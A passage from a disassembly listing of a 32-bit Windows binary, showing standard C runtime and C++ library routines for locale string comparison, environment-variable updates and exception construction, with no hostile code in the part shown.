		cmp	[ebp+var_3C], 2
		jb	short loc_417287
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_417287


loc_4172EA:				; CODE XREF: sub_41718F+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_417287
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_417302
		cmp	cl, dl
		jbe	loc_41727A


loc_417302:				; CODE XREF: sub_41718F+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4172EA
		jmp	loc_417287
; ---------------------------------------------------------------------------


loc_41730D:				; CODE XREF: sub_41718F+E0j
					; sub_41718F+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_4180CC	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_4173F8
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_40CCA0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41735C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_41735C:				; CODE XREF: sub_41718F+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_4173F8
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_4180CC
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_4173F8
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_4173F8
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40CCA0
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4173C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_4173C7:				; CODE XREF: sub_41718F+224j
		cmp	edi, ebx
		jz	short loc_4173F8
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_4180CC	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_4173F8
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_418008	; CompareStringW
		jmp	short loc_4173FA
; ---------------------------------------------------------------------------


loc_4173F8:				; CODE XREF: sub_41718F+63j
					; sub_41718F+C6j ...
		xor	eax, eax


loc_4173FA:				; CODE XREF: sub_41718F+BFj
					; sub_41718F+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41718F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41740C	proc near		; CODE XREF: sub_413455+81p
					; sub_41718F+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_417429


loc_41741C:				; CODE XREF: sub_41740C+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_417429
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41741C


loc_417429:				; CODE XREF: sub_41740C+Ej
					; sub_41740C+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_417434
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_417434:				; CODE XREF: sub_41740C+21j
		mov	eax, edx
		retn
sub_41740C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417437	proc near		; CODE XREF: sub_417121+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_41749B
		push	3Dh
		push	[ebp+arg_0]
		call	sub_41767D
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_41749B
		cmp	[ebp+arg_0], esi
		jz	short loc_41749B
		mov	eax, dword_481DE4
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_481DE8
		jnz	short loc_417481
		push	eax
		call	sub_417616
		pop	ecx
		mov	dword_481DE4, eax


loc_417481:				; CODE XREF: sub_417437+3Cj
		cmp	eax, edi
		jnz	short loc_4174D9
		cmp	[ebp+arg_4], edi
		jz	short loc_4174A3
		cmp	dword_481DEC, edi
		jz	short loc_4174A3
		call	sub_417121
		test	eax, eax
		jz	short loc_4174D9


loc_41749B:				; CODE XREF: sub_417437+Dj
					; sub_417437+22j ...
		or	eax, 0FFFFFFFFh


loc_41749E:				; CODE XREF: sub_417437+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4174A3:				; CODE XREF: sub_417437+51j
					; sub_417437+59j
		cmp	ebx, edi
		jnz	loc_4175B7
		push	4
		call	sub_40CCCF
		cmp	eax, edi
		pop	ecx
		mov	dword_481DE4, eax
		jz	short loc_41749B
		mov	[eax], edi
		cmp	dword_481DEC, edi
		jnz	short loc_4174D9
		push	4
		call	sub_40CCCF
		cmp	eax, edi
		pop	ecx
		mov	dword_481DEC, eax
		jz	short loc_41749B
		mov	[eax], edi


loc_4174D9:				; CODE XREF: sub_417437+4Cj
					; sub_417437+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_481DE4
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_4175BE
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_417539
		cmp	dword ptr [edi], 0
		jz	short loc_417539
		test	ebx, ebx
		jz	short loc_417531
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_40CD81
		pop	ecx


loc_41750B:				; CODE XREF: sub_417437+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_41751B
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41750B
; ---------------------------------------------------------------------------


loc_41751B:				; CODE XREF: sub_417437+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_40DB08
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41756B
		jmp	short loc_417566
; ---------------------------------------------------------------------------


loc_417531:				; CODE XREF: sub_417437+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_41756B
; ---------------------------------------------------------------------------


loc_417539:				; CODE XREF: sub_417437+BDj
					; sub_417437+C2j
		test	ebx, ebx
		jnz	short loc_4175B7
		test	esi, esi
		jge	short loc_417543
		neg	esi


loc_417543:				; CODE XREF: sub_417437+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_40DB08
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41749B
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_417566:				; CODE XREF: sub_417437+F8j
		mov	dword_481DE4, eax


loc_41756B:				; CODE XREF: sub_417437+F6j
					; sub_417437+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_4175B7
		push	[ebp+arg_0]
		call	sub_40CBC0
		inc	eax
		inc	eax
		push	eax
		call	sub_40CCCF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4175B7
		push	[ebp+arg_0]
		push	esi
		call	sub_40E3C0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_418004	; SetEnvironmentVariableA
		push	esi
		call	sub_40CD81
		pop	ecx


loc_4175B7:				; CODE XREF: sub_417437+6Ej
					; sub_417437+104j ...
		xor	eax, eax
		jmp	loc_41749E
sub_417437	endp


; =============== S U B	R O U T	I N E =======================================



sub_4175BE	proc near		; CODE XREF: sub_417437+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_481DE4
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4175F9
		mov	edi, [esp+8+arg_4]


loc_4175D0:				; CODE XREF: sub_4175BE+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_4170E2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4175EF
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_417609
		test	al, al
		jz	short loc_417609


loc_4175EF:				; CODE XREF: sub_4175BE+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_4175D0


loc_4175F9:				; CODE XREF: sub_4175BE+Cj
		mov	eax, esi
		sub	eax, dword_481DE4
		sar	eax, 2
		neg	eax


loc_417606:				; CODE XREF: sub_4175BE+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417609:				; CODE XREF: sub_4175BE+2Bj
					; sub_4175BE+2Fj
		mov	eax, esi
		sub	eax, dword_481DE4
		sar	eax, 2
		jmp	short loc_417606
sub_4175BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417616	proc near		; CODE XREF: sub_417437+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_417625
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417625:				; CODE XREF: sub_417616+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_417637


loc_41762D:				; CODE XREF: sub_417616+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41762D


loc_417637:				; CODE XREF: sub_417616+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_40CCCF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_417658
		push	9
		call	sub_40EC7A
		pop	ecx


loc_417658:				; CODE XREF: sub_417616+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_41765C:				; CODE XREF: sub_417616+5Bj
		test	eax, eax
		jz	short loc_417673
		push	eax
		add	ebx, 4
		call	sub_4176F0
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41765C
; ---------------------------------------------------------------------------


loc_417673:				; CODE XREF: sub_417616+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_417616	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41767D	proc near		; CODE XREF: sub_417437+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4831FC, 0
		jnz	short loc_417698
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E610
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_417698:				; CODE XREF: sub_41767D+Aj
		mov	ecx, [ebp+arg_0]


loc_41769B:				; CODE XREF: sub_41767D+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_4176DE
		movzx	edx, al
		test	byte_483301[edx], 4
		jz	short loc_4176CA
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_4176D5
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_4176D9
		jmp	short loc_4176D2
; ---------------------------------------------------------------------------


loc_4176CA:				; CODE XREF: sub_41767D+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_4176DE


loc_4176D2:				; CODE XREF: sub_41767D+4Bj
		inc	ecx
		jmp	short loc_41769B
; ---------------------------------------------------------------------------


loc_4176D5:				; CODE XREF: sub_41767D+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4176D9:				; CODE XREF: sub_41767D+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4176DE:				; CODE XREF: sub_41767D+25j
					; sub_41767D+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41767D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4176F0	proc near		; CODE XREF: sub_4051D9+21p
					; sub_417616+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_417717
		push	esi
		call	sub_40CBC0
		inc	eax
		push	eax
		call	sub_40CCCF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417717
		push	esi
		push	eax
		call	sub_40E3C0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417717:				; CODE XREF: sub_4176F0+7j
					; sub_4176F0+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_4176F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417720	proc near		; CODE XREF: sub_40258B+12p
					; sub_4025E5+12p ...
		mov	eax, offset loc_417C14
		call	sub_40D3D8
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_402790
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_40CBC0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_4027C8
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41777A
		lea	eax, [ebp-3Ch]
		push	offset dword_418F70
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_418C34
		call	sub_417B7B
		pop	esi
sub_417720	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41777A	proc near		; CODE XREF: sub_417720+3Fp
					; sub_41794C+3Fp
		mov	eax, offset loc_417C28
		call	sub_40D3D8
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_4242F0
		call	sub_417AA0
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_402790
		push	dword_418C60
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40263D
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_418C54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41777A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177DE	proc near		; DATA XREF: .nsp0:00418C38o
					; .nsp0:00418C58o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4177EA
		mov	eax, offset dword_418220

locret_4177EA:				; CODE XREF: sub_4177DE+5j
		retn
sub_4177DE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp-1Ch]
		call	sub_417861
		lea	eax, [ebp-1Ch]
		push	offset dword_418FE0
		push	eax
		call	sub_417B7B

; =============== S U B	R O U T	I N E =======================================



sub_417808	proc near		; CODE XREF: .nsp0:00417848p
					; DATA XREF: .nsp0:00418FE4o
		mov	eax, offset loc_417C3C
		call	sub_40D3D8
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_418C54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_402790
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_417B27
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_417808	endp

; ---------------------------------------------------------------------------


loc_417845:				; DATA XREF: .nsp0:off_418C54o
		push	esi
		mov	esi, ecx
		call	sub_417808
		test	byte ptr [esp+8], 1
		jz	short loc_41785B
		push	esi
		call	sub_40D448
		pop	ecx


loc_41785B:				; CODE XREF: .nsp0:00417852j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_417861	proc near		; CODE XREF: .nsp0:004177F5p
					; sub_417934+7p ...
		mov	eax, offset loc_417C50
		call	sub_40D3D8
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_417ADD
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_402790
		push	dword_418C60
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40263D
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_418C54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_417861	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178BE	proc near		; CODE XREF: sub_4178FB+20p
					; DATA XREF: .nsp0:00418F74o
		mov	eax, offset loc_417C64
		call	sub_40D3D8
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_418C54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_402790
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_417B27
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_4178BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178FB	proc near		; DATA XREF: .nsp0:00418C3Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_417934
		lea	eax, [ebp+var_1C]
		push	offset dword_418F70
		push	eax
		call	sub_417B7B


loc_417918:				; DATA XREF: .nsp0:off_418C34o
		push	esi
		mov	esi, ecx
		call	sub_4178BE
		test	[esp+20h+var_18], 1
		jz	short loc_41792E
		push	esi
		call	sub_40D448
		pop	ecx


loc_41792E:				; CODE XREF: sub_4178FB+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_4178FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417934	proc near		; CODE XREF: sub_4178FB+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_417861
		mov	dword ptr [esi], offset	off_418C34
		mov	eax, esi
		pop	esi
		retn	4
sub_417934	endp


; =============== S U B	R O U T	I N E =======================================



sub_41794C	proc near		; CODE XREF: sub_40263D+13p
					; sub_4027FD+Ep
		mov	eax, offset loc_417C78
		call	sub_40D3D8
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_402790
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_40CBC0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_4027C8
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41777A
		lea	eax, [ebp-3Ch]
		push	offset dword_419098
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_418C68
		call	sub_417B7B
		pop	esi
sub_41794C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4179A6	proc near		; CODE XREF: sub_4179E3+20p
					; DATA XREF: .nsp0:0041909Co
		mov	eax, offset loc_417C8C
		call	sub_40D3D8
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_418C54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_402790
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_417B27
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_4179A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4179E3	proc near		; DATA XREF: .nsp0:00418C70o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_417A1C
		lea	eax, [ebp+var_1C]
		push	offset dword_419098
		push	eax
		call	sub_417B7B


loc_417A00:				; DATA XREF: .nsp0:off_418C68o
		push	esi
		mov	esi, ecx
		call	sub_4179A6
		test	[esp+20h+var_18], 1
		jz	short loc_417A16
		push	esi
		call	sub_40D448
		pop	ecx


loc_417A16:				; CODE XREF: sub_4179E3+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_4179E3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417A1C	proc near		; CODE XREF: sub_4179E3+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_417861
		mov	dword ptr [esi], offset	off_418C68
		mov	eax, esi
		pop	esi
		retn	4
sub_417A1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A34	proc near		; DATA XREF: .nsp0:0041A008o

; FUNCTION CHUNK AT 00417A6A SIZE 0000000C BYTES

		test	byte_4820AC, 1
		jnz	short loc_417A44
		or	byte_4820AC, 1


loc_417A44:				; CODE XREF: sub_417A34+7j
		call	sub_417A5E
		test	byte_483440, 1
		jnz	short loc_417A59
		or	byte_483440, 1


loc_417A59:				; CODE XREF: sub_417A34+1Cj
		jmp	loc_417A6A
sub_417A34	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A5E	proc near		; CODE XREF: sub_417A34:loc_417A44p
		push	offset nullsub_1
		call	sub_40D810
		pop	ecx
		retn
sub_417A5E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417A34


loc_417A6A:				; CODE XREF: sub_417A34:loc_417A59j
		push	offset nullsub_1
		call	sub_40D810
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_417A34
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_417A78	proc near		; CODE XREF: sub_401F1D+5Ep
					; sub_403E11+157p
		jmp	dword_4181C0
sub_417A78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_417A7E	proc near		; CODE XREF: sub_40D044+23p
					; sub_40D2E8+13p
		jmp	dword_418118
sub_417A7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A84	proc near		; DATA XREF: .nsp0:off_418C90o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_417B27
		test	[esp+4+arg_0], 1
		jz	short loc_417A9A
		push	esi
		call	sub_40D448
		pop	ecx


loc_417A9A:				; CODE XREF: sub_417A84+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_417A84	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AA0	proc near		; CODE XREF: sub_41777A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_418C90
		push	dword ptr [edi]
		call	sub_40CBC0
		inc	eax
		push	eax
		call	sub_40D795
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_417ACF
		push	dword ptr [edi]
		push	eax
		call	sub_40E3C0
		pop	ecx
		pop	ecx


loc_417ACF:				; CODE XREF: sub_417AA0+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_417AA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417ADD	proc near		; CODE XREF: sub_417861+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_418C90
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_417B1A
		push	dword ptr [edi+4]
		call	sub_40CBC0
		inc	eax
		push	eax
		call	sub_40D795
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_417B20
		push	dword ptr [edi+4]
		push	eax
		call	sub_40E3C0
		pop	ecx
		pop	ecx
		jmp	short loc_417B20
; ---------------------------------------------------------------------------


loc_417B1A:				; CODE XREF: sub_417ADD+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_417B20:				; CODE XREF: sub_417ADD+2Ej
					; sub_417ADD+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B27	proc near		; CODE XREF: sub_417808+2Bp
					; sub_4178BE+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_418C90
		jz	short locret_417B3C
		push	dword ptr [ecx+4]
		call	sub_40D448
		pop	ecx

locret_417B3C:				; CODE XREF: sub_417B27+Aj
		retn
sub_417B27	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B3D	proc near		; DATA XREF: .nsp0:00418C94o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_417B49
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_417B49:				; CODE XREF: sub_417B3D+5j
		retn
sub_417B3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B4A	proc near		; CODE XREF: .nsp0:00417B62p
		mov	dword ptr [ecx], offset	off_418CB0
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_417B5E
		push	ecx
		call	sub_40CD81
		pop	ecx

locret_417B5E:				; CODE XREF: sub_417B4A+Bj
		retn
sub_417B4A	endp

; ---------------------------------------------------------------------------


loc_417B5F:				; DATA XREF: .nsp0:off_418CB0o
		push	esi
		mov	esi, ecx
		call	sub_417B4A
		test	byte ptr [esp+8], 1
		jz	short loc_417B75
		push	esi
		call	sub_40D448
		pop	ecx


loc_417B75:				; CODE XREF: .nsp0:00417B6Cj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B7B	proc near		; CODE XREF: sub_417720+54p
					; .nsp0:00417803p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_418CB8
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_41814C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_417B7B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_417BB8	proc near		; DATA XREF: .nsp0:00418E64o

; FUNCTION CHUNK AT 00402583 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_402583
sub_417BB8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_417BD6
		mov	ecx, [ebp+8]
		jmp	loc_402583
; ---------------------------------------------------------------------------

locret_417BD6:				; CODE XREF: .nsp0:00417BC8j
		retn
; ---------------------------------------------------------------------------


loc_417BD7:				; DATA XREF: sub_40215Eo
		mov	eax, offset dword_418E68
		jmp	loc_40D093
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_402583
; ---------------------------------------------------------------------------


loc_417BEC:				; DATA XREF: .nsp0:00418E90o
